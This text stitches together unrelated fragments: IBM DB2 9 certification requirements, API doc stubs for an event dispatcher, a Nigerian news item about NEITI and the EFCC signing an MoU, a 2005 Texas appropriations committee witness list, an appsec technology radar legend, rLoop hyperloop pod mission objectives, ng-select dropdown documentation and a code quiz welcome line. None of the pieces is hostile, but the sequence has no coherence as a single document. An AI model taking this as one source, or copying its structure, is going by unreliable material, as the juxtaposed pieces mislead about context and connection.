Candidates who have either taken and passed the DB2 V8.1 Family Fundamentals exam (Exam 700) or acquired the IBM Certified Application Developer-DB2 V8.1 Family certification (by taking and passing Exams 700 and 703) must take and pass the DB2 9 Family Application Development exam (Exam 733) to acquire the IBM Certified Application Developer-DB2 9 Family certification. All other candidates must take and pass both the DB2 9 Family Fundamentals exam (Exam 730) and the DB2 9 Family Application Development exam (Exam 733). The roadmap for acquiring the IBM Certified Application Developer-DB2 9 Family certification can be seen in Figure 1-5.
The IBM Certified Advanced Database Administrator-DB2 9 for Linux, UNIX, and Windows certification is intended for lead Database Administrators who possess extensive knowledge about DB2 9 and who have extensive experience using DB2 9 on one or more of the following supported platforms: Linux, AIX, HP-UX, Sun Solaris, and Windows. In addition to being knowledgeable about the more complex concepts of DB2 9 and having significant experience as a DB2 9 Database Administrator, individuals seeking this certification should:
Know how to design, create, and manage both SMS and DMS tablespaces
Know how to design, create, and manage buffer pools
Be able to take full advantage of intrapartition parallelism and interpartition parallelism
Be able to design and configure federated database access
Know how to manage distributed units of work
Be able to develop a logging strategy
Be able to create constraints on and between table objects
Know how to perform database-level and table-space-level backup, restore, and roll-forward recovery operations
Be able to use the advanced backup and recovery features available
Know how to implement a standby database using log shipping, replication, failover, and fault monitoring
Be able to identify and modify the DB2 Database Manager and database configuration file parameter values that have the most impact on performance
Possess a strong knowledge of query optimizer concepts
Be able to correctly analyze, isolate, and correct database performance problems
Know how to manage a large number of users and connections, including connections to host systems
Know how to create, configure, and manage a partitioned database spanning multiple servers
Be able to create and manage multidimensional clustered tables
Know when the creation of an index will improve database performance
Be able to identify and resolve database connection problems
Possess a strong knowledge about the external authentication mechanisms DB2 9 uses to protect data and database objects against unauthorized access and/or modification
Know how to implement data encryption using Label-Based Access Control (LBAC)
To acquire the IBM Certified Advanced Database Administrator-DB2 9 for Linux, UNIX, and Windows certification, candidates must hold the IBM Certified Database Administrator-DB2 9 for Linux, UNIX, and Windows certification, and they must take and pass the DB2 9 for Linux, UNIX, and Windows Advanced Database Administration exam (Exam 734). The roadmap for acquiring the IBM Certified Advanced Database Administrator-DB2 9 for Linux, UNIX, and Windows certification can be seen in Figure 1-6.
The IBM Certified Solution Designer-DB2 Data Warehouse Edition V9.1 certification is intended for individuals who are knowledgeable about the fundamental concepts of IBM's DB2 Data Warehouse Edition (DWE), Version 9.1. In addition to having the knowledge and skills necessary to design, develop, and support DB2 data warehouse environments using DB2 DWE, anyone seeking this certification should:
Be able to explain how data warehouse and front-end analytics impact Business Intelligence Analytics architecture
Know the difference between a multidimensional database and a relational database warehouse
Know how metadata affects analytical queries
Be able to select appropriate front-end features based on criteria such as presentation needed, level of interactivity required, Web versus FAT client, static versus dynamic, end user skill level
Know how to translate data warehouse-based analytics into schemas, aggregations, and SQL
Know when to use the DB2 Design Advisor versus the CV Advisor
Be able to explain how the DB2 Query Patroller fits into warehouse-based analytics
Be able to distinguish between logical and physical data models
Be able to describe the architecture of DB2 DWE in terms of its components
Be able to describe the architecture of DB2 DWE in terms of the three physical nodes used and where they are installed
Be able to identify the hardware needed to install DB2 Data Warehouse Edition
Know how to create a Data Design Project in the Project Engineer as a container for physical data modeling
Know how to reverse-engineer an existing DB2 schema (or schema subset)
Know how to design or modify a physical data model that describes a data warehouse (including constraints), as well as perform an impact analysis to identify all model/database dependencies
Be able to view the contents of database objects
Be able to identify candidate fact and dimension tables in a data warehouse
Be able to create cube models and Cubes
Know how to define levels and hierarchies
Know how to define and create a dimension object
Know how to create materialized query tables (MQTs), as well as troubleshoot ineffective MQTs
Know how to perform Import and Export operations
Be able to create a data mining project in the Project Explorer
Know how to formulate a data mining task from a business problem, define a preprocessing function to prepare data for data mining, edit properties of mining operators, apply a visualizer operator to a data mining flow, run a data mining flow against a data warehouse, and view the results of any data mining flow run
Be able to describe use cases for the SQL Warehousing Tool
Know how to create, setup, and navigate a Data Warehouse Project using the DB2 DWE Design Studio
Be able to describe the concepts of dataflows, subflows, and control flows, as well as build dataflows and subflows by adding, connecting, and defining properties of SQL Warehousing Dataflow Operators
Know why, when, and how to use a data station in a dataflow
Be able to prepare and deploy a Data Warehouse Project application to a test and/or production environment, using the DB2 DWE Administration Console
Be able to set up and perform Query Workload Management
Know how to setup and perform Historical Analysis
Know how to administer, maintain, and tune the Query Patroller
In order to acquire the IBM Certified Solution Designer-DB2 Data Warehouse Edition V9.1 certification, candidates must take and pass one exam: the DB2 Data Warehouse Edition V9.1 exam (Exam 716). The roadmap for acquiring the IBM Certified Solution Designer-DB2 Data Warehouse Edition V9.1 certification is illustrated in Figure 1-7.


open class Event
A base primitive for building events. All events should derive from Event. |
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object EventDispatcher
Responsible for dispatching events to a set of registered listeners. |
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interface EventListener<in TEvent : Event>
Defines a listener for a particular event type. |


NEITI, EFCC partner to fight corruption - The Nation Newspaper
Ambrose Nnaji
THE Nigeria Extractive Industries Transparency Initiative (NEITI) says it will sign a Memorandum of Understanding (MoU) with the Economic and Financial Crimes Commission (EFCC) to strengthen effort in fight against corruption in the country.
NEITI said this in a statement signed by Dr Orji Ogbonnaya Orji, Director, Communications and Advocacy, in Abuja.
It said agreement on signing of the MoU was part of the outcome of the meeting between the Executive Secretary of NEITI, Waziri Adio and the Acting Chairman of the EFCC, Ibrahim Magu with top management team of the two agencies. It said that the MoU would strengthen the partnership and cooperation between the two agencies in the fight against corruption.
Read Also: EFCC not witch hunting anyone, group – Magu
Meanwhile Group Managing Director of the Nigerian National Petroleum Corporation (NNPC), Malam Mele Kyari says the corporation is poised to automate its downstream facilities such as depots, pump stations and measurement systems across the country.
Kyari said this in a statement signed by the Acting Spokesman for the Corporation, Mr Samson Makoji in Abuja. Kyari spoke during a tour of the state-of-the-art products loading facility and lubricants manufacturing plant of MRS Oil Nigeria Plc, an indigenous oil company based in Lagos.


WITNESS LIST Appropriations Committee February 22, 2005-8:00A Budget On: Allen, Ron (Texas State Veterinary Board) Bordelon, Rod (Office of Public Insurance Counsel) Burnett, Dale (Texas Structural Pest Control Board) Crawford, Denise Voigt (State Securities Board) Dodson, Gay (Texas State Board of Pharmacy) Feeney, Harold E. (Credit Union Department) Flowerday, Paula C. (Texas Racing Commission) Hess, Michael D. (Texas Board of Professional Geoscientists) Hudson, Paul (PUC) James, Randall S. (Texas Banking Commissioner and Texas Department of Banking) Kloeris, Chris (Texas Optometry Board) Lanford, Lane (PUC) Lee, Sherry (Texas State Board of Examiners of Psychologists) Maline, John (Executive Council of Physical Therapy and Occupational Therapy Examiners) Maxwell, Robert L. (Bob) (Texas State Board of Plumbing Examiners) McClellan, Suzi (Office of Public Utility Counsel) McDonald, Gary W. (Texas State Board of Dental Examiners) Montemayor, Jose (Texas Department of Insurance) Patrick, Donald (Texas State Board of Medical Examiners) Payne, Danny (Texas Savings and Loan Department) Pettijohn, Leslie (Conumer Credit Commissioner) Robbins, Chet (Texas Funeral Service Commission) Shipe, Robert (Texas Workers' Compensation Commission) Smith, Sandra (Texas Board of Chiropractic Examiners) Smith, Sandy (Texas Board of Professional Land Surveying) Taylor, Shelia Bailey (State Office of Administrative Hearings) Thomas, Katherine (Board of Nurse Examiners) Thomas, Stephen (Texas Residential Constuction Commission) Thorburn, Wayne (Texas Real Estate Commission and Texas Appraiser Licensing and Certification Board) Zukowski, Dr. Jim (Texas State Board of Podiatric Medical Examiners)


Technology States in the Radars
The radar serves as a one-stop-shop for making appsec security decisions about technologies to use in your applications.
HOLD
Stable AppSec Technology that is currently not planned to be phased out, and recommended for continued use.
ADOPT
AppSec Technology that is new but should be adopted to account for a changing threat landscape.
TRIAL
AppSec technology that should be trialled and AppSec teams are recommended to provide feedback on the new technology.
EVALUATE
Technology that is too early for production use, however AppSec teams are encouraged to PoC.
NO NEW USE
Tech teams should not use this technology for new projects.
PLAN FOR REMOVAL
Technology that is nearing End of Life (EoL) or is soon to be deprecated. AppSec teams should be actively planning for removal of such technology.


Our Mission
The rLoop competition pod is named rPod, to differentiate from development of our full scale Hyperloop pod.
The rPod needs to perform the mission of safe, cost-effective, and efficient high speed transit over the length of the Hyperloop test track while providing a comfortable cabin for a self-contained flight data recorder and passenger dummy, in order to win the SpaceX Competition.
What is the hyperloop?Mission Objectives
- To transit at high speeds over the length of the Hyperloop test track.
- To provide a comfortable cabin for the self contained flight data recorder.
- To be compatible with the functional capabilities of the Hyperloop.
- To function within the low-pressure environment of the Hyperloop.
- To provide a safe design for the competition.
- To provide an energy efficient means of transportation.
- To ensure high system maintainability during competition operations.
- To minimize system cost.
- To win the SpaceX competition.


By default dropdown panel is rendered as child element of ng-select, but you can append dropdown to any element using appendTo.
If you place ng-select inside container with fixed height and hidden overflow then dropdown will not be fully visible.
It can be fixed by appending dropdown to body or other parent element.


time : 75
Welcome to the Code quiz Challenge! Try to answer as many questions as possible in the given time limit. top performer will be listed at the end of the quiz.